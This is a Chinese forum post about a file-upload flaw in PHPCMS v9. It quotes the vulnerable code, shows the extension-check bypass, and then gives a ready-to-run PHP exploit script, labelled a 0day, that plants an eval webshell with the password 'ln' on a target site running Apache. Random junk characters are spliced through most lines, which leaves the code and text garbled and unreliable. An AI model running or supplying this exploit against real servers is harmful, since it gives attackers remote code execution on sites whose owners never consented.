找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
$ r% R1 x& x8 W7 n) F# k
( p+ B* R" J: R( U+ e简要描述:
" q! |' u% r1 M# _1 s5 b5 B$ [, B* q6 \; l( n9 }7 I
phpcms v9 getshell (apache)
/ j7 q9 }' F& ~' s5 ^' v详细说明:8 L- ~  c. Z$ \$ W$ W: y- f9 I

, B7 |/ ?' o6 o/ Q漏洞文件:phpcms\modules\attachment\attachments.php
' P5 ]1 V8 K9 H* }
/ W& A+ v" t, k" f. q% g* Apublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
" P  [0 {' G* R+ }: e# t后缀检测:phpcms\modules\attachment\functions\global.func.php
  C* }2 u- ?, ?+ y; w1 a; ^1 y' u+ Y. s, U& ~6 H
; x) X+ X. Z/ U
1 R, x1 }# K6 H/ @
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
6 p1 L* S# s2 q5 b* C- k# d- a" z" A1 L
关键函数:
& u8 j6 {( S4 ^& x
) o4 B/ K; u7 m9 I  A' z) V0 g $ w0 f+ p# J3 r0 C* i+ m' s( _
1 e# j" G' l. C5 i* o1 h1 X
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
! Q' c& K3 E7 X% y8 j: ?5 d" o  U* ]4 f- R8 {- {0 f+ V: G
  Fileext函数是对文件后缀名的提取。! Q) x  k" L5 ?! H. e4 G# I& W! F( O0 ~
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
- Y7 ^( ^; \' r+ j经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。* I; P5 m& z6 {( T/ K" j5 C1 M
我们回到public function crop_upload() 函数中4 C' \) j/ Q. l/ l: Q$ G% M9 R. [* p
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
. s% Z8 W. `! d! _/ C# [; Y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% z1 m5 V) F1 j9 A9 \这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
. x* R4 V/ c3 a4 w5 h; J3 a经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
# q8 `+ @: r: {! G# A/ J0 s) T最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
) `. P2 S+ ^/ t, F& j: j看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
" o- I  a' {" _2 \- D; \: }漏洞证明:( ~) P. j4 E& x' Y# w

) J: w! k2 m- ~, [% t* _exp:9 S3 O; a* a6 o' c, j& Z7 q
3 [: W+ i8 l  P) a* n  ^1 U$ W
<?php- m  U3 A: p; p3 N8 j
error_reporting(E_ERROR);! Q- r1 ~2 v8 ]$ [0 D6 ~4 N' j
set_time_limit(0);8 D  B  g4 y$ C" R
$pass="ln";9 w& E! P9 J# ^* o5 Q+ q8 \3 n* K, H
print_r('6 b3 Y! d6 i# q1 |7 G
+---------------------------------------------------------------------------++ A& k4 A7 G5 H* ^4 O
PHPCms V9 GETSHELL 0DAY * D4 h8 e8 t* W
code by L.N.
( j; }% @( t" t1 l7 y( D1 a/ J7 V) A
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net% W! f. a# q& @; @, k. ~1 e
+---------------------------------------------------------------------------+& d7 L$ W4 F' M9 p! k$ N. s
');
7 q4 X' R# D- e4 u) m4 ?7 bif ($argc < 2) {
1 n5 D3 L- Q- f$ Z% T+ d+ cprint_r('/ R& L; W% @  p7 ~$ D. Z
+---------------------------------------------------------------------------+4 ]5 V9 `% g+ P8 p
Usage: php '.$argv[0].' url path5 j" I! s6 K  R4 g/ K- S9 t

8 C- @4 I5 O. i$ h5 J8 ?Example:
" l1 m% \4 g# E! e7 g7 {- w1.php '.$argv[0].' lanu.sinaapp.com
! k9 o0 l0 f4 F: ^/ `6 c2 u2.php '.$argv[0].' lanu.sinaapp.com /phpcms; G# R( q$ c% O6 U: ^& ~+ F/ S
+---------------------------------------------------------------------------+
$ z- t& ?, Y* {( \');, e. O7 v1 l8 N5 J6 G& e( M8 ?! m
exit;" ~% P5 ?& T4 O* b) @0 @
}
1 z9 ]. I& B. G2 G* Y4 F/ l5 A7 A, \' M7 v! a$ B/ H4 z" |
$url = $argv[1];
# c5 N$ c2 Q. ^3 S$path = $argv[2];: z- x- w' F7 f: \% @
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';( t2 q# T' E8 j! m
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';7 p- Q: Q; M  B
if($ret=Create_dir($url,$path))
7 s8 z+ ~  _  f0 e7 d$ U{4 K- J) Q/ k& T% M# U. n4 F
//echo $ret;$ Z7 V& s8 z" H! t7 f
$pattern = "|Server:[^,]+?|U";( a" \1 Q# f& _  N
preg_match_all($pattern, $ret, $matches);; ?% I8 w7 j/ ^( X: s# ?0 ]/ ]
if($matches[0][0])5 c8 Z5 G" \2 Z$ `8 X
{
6 a1 ?$ X2 p4 v6 w4 e6 oif(strpos($matches[0][0],'Apache') == false)
, e2 I: z- ?2 n2 q: `{
3 m; P% D& {# D6 v% o2 H/ decho "\n亲!此网站不是apache的网站。\n";exit;1 x6 G* M( j5 \& z% s) H
}* ~1 v3 ~+ K+ n
}
! A1 x: l' \3 _3 }* h; D7 y$ret = GetShell($url,$phpshell,$path,$file);
# z; |" p5 w: ^( P& w( g$pattern = "|http:\/\/[^,]+?\.,?|U";& q% k$ D6 K6 p$ B
preg_match_all($pattern, $ret, $matches);
+ p0 H3 f* M$ e" p9 Z* Oif($matches[0][0])
5 o0 C3 I/ b! B8 h; [' g{
& b. T( j) v+ v4 ?% c: K6 Lecho "\n".'密码为: '.$pass."\n";' \! J& P0 x9 j( N2 h! i
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
: z! {' W2 C, C) D! }. A; D}8 e  I* q* Y% }" @4 D( |2 ^2 `  m
else- G" e+ C) W! i/ _1 d+ I
{. S. P4 C- J1 G, y* b' C
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
7 B- _! B" a  C% Fpreg_match_all($pattern, $ret, $matches);
+ R2 h9 n- F( sif($matches[0][0])" F4 e7 p7 b0 H
{6 v/ |9 h, R! |8 \5 g  G* n$ @
echo "\n".'密码为: '.$pass."\n";
* y% O$ C, v% I2 X( A+ e% y4 Vecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
! u  C( U! W- ]9 E$ ]: T}
9 P8 F  m5 e3 N  w3 V0 Nelse6 l. R0 Q  i8 w: N1 C+ @+ C1 Z$ l
{% T( _, Z* H! I7 ?4 ]* B
echo "\r\n没得到!\n";exit;8 k7 H  R0 U% q- j5 I3 f$ A
}
" x% l" j# p6 X) I4 y}! S0 H6 v. e$ d
}- z1 Z' r1 D7 a: ~: Q* e' T$ t

7 n4 t& V! m/ f# a+ m# m6 _function GetShell($url,$shell,$path,$js)
! E% ], t- v* s$ C" o3 _3 P! p{7 @2 J# C  y0 O& k8 q6 }" q
$content =$shell;. z( Z' u& A1 Q- a9 [' S9 B  S
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
  ^- d6 R0 G& c. X# R0 g$data .= "Host: ".$url."\r\n";( A( c. q/ m9 j( k6 M. o+ e
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";( A. T5 k& L3 `9 T3 H% {* {
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! E- M" L! [" J
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
# [; e$ o. z+ }* ~4 N3 P2 Q- f$data .= "Connection: close\r\n";
% a1 X2 ]1 G- h7 A8 B! ]1 m3 G3 S$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* w  B, ~0 s+ w! _- P+ i$data .= $content."\r\n";' q- z- L; i* m7 x; D& J
$ock=fsockopen($url,80);+ q1 O" b  ?7 S: Y" X
if (!$ock)
# @8 _/ C1 Z6 i- _8 M' U! Y{! W8 J' t. {; h+ j* u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
+ D  [8 z9 j5 r, V6 g2 ]& l+ p}
8 z) }, ^# `) telse0 |; E# P2 F0 `
{; h4 T, Q+ v  `% {5 q+ J/ e7 l% r
fwrite($ock,$data);$ y$ X* l& l' {# q6 E' [
$resp = '';
2 a4 Y; B7 c" v6 Swhile (!feof($ock))5 }- X( t* c# f1 n# L2 H
{
  |8 P. X# d/ r8 n" q9 ]$resp.=fread($ock, 1024);
0 i1 \  p! n" C" ~}
* t4 h5 a! m: i) s/ Qreturn $resp;: O) N+ {4 t' J! r6 s+ V
}
( }) n- W  z& c}$ V% W! R: U+ u2 h
5 J& c" \1 h: Y) _0 K
function Create_dir($url,$path='')
$ n/ j/ I7 C- J1 C, @* o{5 n9 f, X& g0 T$ _
$content ='I love you';/ n# u0 l7 n- W
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" n2 Y0 E8 M9 O1 f$data .= "Host: ".$url."\r\n";
: \1 p$ @9 W' A$ I+ u/ h$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";' n7 x+ `' \1 |- R& Y# \+ p
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( Y% P$ H1 l; C8 r& W. S
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* L; ?- c! B9 f  S0 O' U6 ~, P
$data .= "Connection: close\r\n";$ H* g6 H# ]! {9 |. @
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* I7 T8 I0 d' _4 t* ?5 h$data .= $content."\r\n";3 w! `+ W! U8 x3 X5 b
$ock=fsockopen($url,80);8 A6 M  {# A% J* ]3 P5 c
if (!$ock)4 Y4 M( ^# C) d. W
{( R! }* x# m  P( ~, f
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;, a- w7 ]0 ^! `
}. K# ?/ H( y% m+ A& Y, u9 A2 N
fwrite($ock,$data);
* J" f" y+ p1 v2 {5 R. Q$resp = '';0 J' G, D& R# A1 S4 d& Z( F. B8 ]
while (!feof($ock))8 K+ t8 o! ?1 @4 S- u+ e1 `
{
6 J' Y" }( G; f( N) E# [$resp.=fread($ock, 1024);
3 q, s8 v3 F, k, O5 ^}4 u) N+ F3 _- c3 D5 Z
return $resp;3 Q- x2 g4 a0 s, Y
}: ~- ^; \* v; T( P# X
?> , t/ t# H1 d0 ^# P% M# s" x

0 \5 a8 f, b. M9 S% v0 v9 P修复方案:
: i# b  i" @1 y( B: V/ I- z
! w7 q' a4 O0 H9 d# }过滤过滤再过滤7 @1 Q7 e6 e& K; q. H4 e2 ^8 L) Q
1 R1 e0 T- `7 v. y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表